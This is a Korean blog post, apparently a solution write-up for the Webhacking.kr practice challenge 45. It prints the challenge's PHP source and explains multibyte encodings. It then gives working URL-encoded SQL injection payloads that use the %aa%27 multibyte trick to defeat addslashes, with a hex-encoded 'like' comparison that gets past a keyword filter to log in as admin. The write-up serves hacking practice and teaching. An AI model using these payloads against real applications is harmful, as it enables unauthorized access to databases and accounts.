소스보기를 해보자.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
</body>
</html>
addslashes로 필터링을 해주는 모습과 mb_convert_encoding 으로 인코딩 형태를 변경해주는 모습을 볼 수 있다.
addslashes()
-> 문자열에 싱글 쿼터, 더블 쿼터, 역슬래시 문자, NULL byte가 포함되어 있으면 그러한 문자 앞에 역슬래시를 붙여줌
+ SQl Injection을 방어하기 위한 수단으로 addslashes() 또는 php.ini 파일에 magic_quotes_gpc = on 을 추가함으로써
싱글쿼터, 더블쿼터, \, NULL 앞에 자동적으로 \를 붙이게끔 한다.
addslashes와 mb_convert_encoding 함수를 통해 멀티바이트셋 인코딩 방식인 것을 언급해 주는 것을 보아하니 떠오르는 취약점이 있다.
일단 간단히 알아두고 갈 내용이 있다.
싱글바이트 문자 집합
아스키코드 문자, 숫자 = 1 Byte
멀티바이트 문자 집합
아스키코드는 모든 문자 하나가 1 byte를 차지한다. 하지만 이 아스키 문자 코드만으로는 한글이나 일어 등의 다른 문자를 표시할 수 없다. 그래서 아스키 코드 문자에다가 다른 문자들을 포함한 문자 집합이 멀티바이트 문자 집합이다.
싱글 바이트 문자 집합(아스키 코드 문자, 숫자)의 기능(1Byte로 표현)을 갖되, 이를 제외한 문자들은 2byte 이상의 문자 집합으로 글자를 표현한다.
표현되는 상호 문자들간의 호환성이 한계다.
같은 코드 번호 일지라도 한글이 될 수도 있고, 일어가 될 수도 있다. 그러면서 호환성에 문제가 생긴다.
이것의 방안으로 탄생한 것이 유니코드 ( 멀티바이트는 표준방식이 아니나 유니코드는 표준방식이다)
유니코드 문자 집합
(따지자면 멀티바이트의 상위 버전. 멀티바이트의 한계를 극복하고자 등장한 것이므로 싱글바이트 형식 기반이 아닌 멀티바이트셋 형식이긴 하니까)
각 나라별 언어를 모두 표현하기 위해 나온 코드 체계가 유니코드이다.
아스키 문자 코드 뿐만 아니라 한글 일어 등등 모든 문자를 1:1 로, 키 : 값으로 매핑된 형태의 코드다.
각각의 특정 문자는 고유의 유니코드 값을 가진다는게 멀티바이트와 다른 점이다.
(예전에는 ‘모든 문자를 동일하게 2byte로 할당하여 만든 문자 집합으로, 항상 2바이트 크기로 문자를 표현하는 방식이다’ 라고 정의했는데, 대부분의 문자는 이론적으로 2byte이나 특정문자는 초과하기도 했으며 게다가 현재는 UTF-8 UTF-16 UTF-32 등 유니코드를 만드는 다양한 인코딩 방식이 생겼고 각 인코딩 방식에 따라 바이트가 할당되는 크기도 다르고 가변적이기도 하여 예전처럼 2byte에 대한 정의가 불가능하다)
문제로 돌아와서, 멀티바이트셋 기반의 환경에서는 addslashes() 나 magic_quotes_gpc = on 설정을 우회할 방법이 있다.
->
멀티바이트를 사용하는 언어셋 환경에서는 백슬래시 앞에 %a1 ~ %fe 의 값이 들어오면 %a1\ 가 한개의 문자처럼 취급되면서 백슬래시를 먹어버린다. (해당 값과 \에 해당하는 %5c가 합쳐져서 ex. %a1%5c가 하나의 문자를 나타내게 되는 것.)
따라서 utf-8 (유니코드 인코딩 방식) 환경에서도 %aa%27 같은 (%27은 싱글쿼터) 값을 입력하면, 필터링에 의한 슬래쉬(%5c) 추가 뒤에 %aa%5c%27 에서 %aa%5c가 하나의 문자로 인식되면서 싱글쿼터인 %27이 독립적으로 살아남게 된다.
이를 이용해 문제를 풀어나가보자.
?’ or 1 in(1)#
->
%aa%27%20or%201%20in%281%29%23
?’ or 1 in(1)—
->
%aa%27%20or%201%20in%281%29--%20
( — 다음에 공백 한칸 넣는거 명심 )
#을 사용해 주석하거나 -- 를 사용해 주석하거나, 자유다. 둘다 잘 먹힌다. 두 결과로 모두 hi guest란 결과가 잘 출력된다.
결과로 hi guest 나오는 것 보니, 첫번째 데이터가 guest 데이터인듯 하다.
id가 admin인 계정으로 로그인해야하는데, admin이 문자열 필터링중이니 간단하게 hex값으로 넣어서 보내보자.
우선 admin의 hex값을 알아보자
mysql> select hex("admin");
+--------------+
| hex("admin") |
+--------------+
| 61646D696E |
+--------------+
1 row in set (0.00 sec)
admin의 hex값도 알았다. = 연산자는 필터링중이므로 우회로 like 연산자를 사용하자. ( = 필터링 때엔 like로 = 기능을 구현할 수 있다)
?’ or id like 0x61646D696E#
->
%aa%27%20or%20id%20like%200x61646D696E%23
멀티바이트, 유니코드, 유니코드 인코딩 방식인 utf-8 등의 각 개념이나 연관이 혼동스럽고 헷갈려서 어려운 것 빼고 문제 자체는 간단하다.
+ 2020/ 11/ 27 추가내용.. 혼동
우연히 아래 자료를 보게 된 뒤부터 헷갈리는 점들이 생겼다.
참고자료 : www.hackerschool.org/Sub_Html/HS_Posting/?uid=42
이 글은 나중에 자연스레 확실히 알게 되는 날 자문자답해야겠음..
+Q1. 유니코드는 1:1대응 문자이므로, 멀티바이트셋 환경에서 드러난 일부 문자융합의 취약점의 유니코드에서도 먹히려면 그 문자융합의 값이 유니코드에서도 존재해야하는 문자여야만 하지 않을까? 검색해봤는데 나오진 않고..이걸 알기 전까지는 유니코드에서도 동작한다고 무조건 말하기가 좀 그렇다.
+Q2. 참고자료에서 말하는 '멀티바이트를 사용하지 않는 언어셋도 안전하지 않다.' 는 멀티바이트의 취약점을 사용하지 못할 때를 말하는데, 단지 멀티가 아닌 싱글바이트를 말하는지 아니면 유니코드도 말하는지 모르겠음. 위의 내용 때문에서도 그렇고, 그냥 일반적으로 guest'를 입력한다고 치면 guest\'로 변했다가 쿼리에 문제없이 작동한 뒤에 데이터에는 guest' 에 들어가는게 맞다는걸 아는데, putchar는 1바이트 대상인데 \n 이런것들을 넣을 수도 있는거 보면 싱글바이트도 저렇게 되는건가 싶기도 하고(=싱글바이트에서도 \' -> '로 되는건지, 유니코드와 멀티바이트는 뭔가 될거같은데).. 유니코드와 싱글바이트의 문자 처리나 문자 인식에 대해서도 아직 자세히 모르므로 나중에 이 글을 다시 봐야겠음.
+ Q3. 멀티바이트 취약점을 이용하는 코드들이 mb_convert_encoding 함수를 사용하지만, destination 인코딩이 UTF-8인걸로 보아 결국 유니코드에서도 먹히는 것 아닐까. 그리고 유니코드도 문자가 1:1대응이긴 하다만 멀티 바이트를 사용하긴 하므로 그 문자가 대응만 된다면 멀티바이트셋 기반의 취약점이 먹힐 수 있으므로.
mysql> Insert into Book values (6, 'I\'m hevton', 'by hevton', 4);
Query OK, 1 row affected (0.00 sec)
mysql> select * from Book;
+----+-------------+---------------+----------+
| id | title | description | maker_id |
+----+-------------+---------------+----------+
| 1 | About Music | Music is Life | 1 |
| 2 | About Life | Life is alone | 1 |
| 3 | Math Book | Math.PI... | 2 |
| 4 | Novel Book | I am handsome | 3 |
| 5 | About Time | TimeTravel | 1 |
| 6 | I'm hevton | by hevton | 4 |
+----+-------------+---------------+----------+
6 rows in set (0.00 sec)
mysql> select 'I\'m hevton';
+------------+
| I'm hevton |
+------------+
| I'm hevton |
+------------+
1 row in set (0.00 sec)
mysql>
'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글
[Webhacking.kr] 47번 - 아시는분? (0) | 2020.11.14 |
---|---|
[Webhacking.kr] 46번 (0) | 2020.11.14 |
[Webhacking.kr] 44번 (0) | 2020.11.12 |
[Webhacking.kr] 43번 (0) | 2020.11.10 |
[Webhacking.kr] 42번 (0) | 2020.11.10 |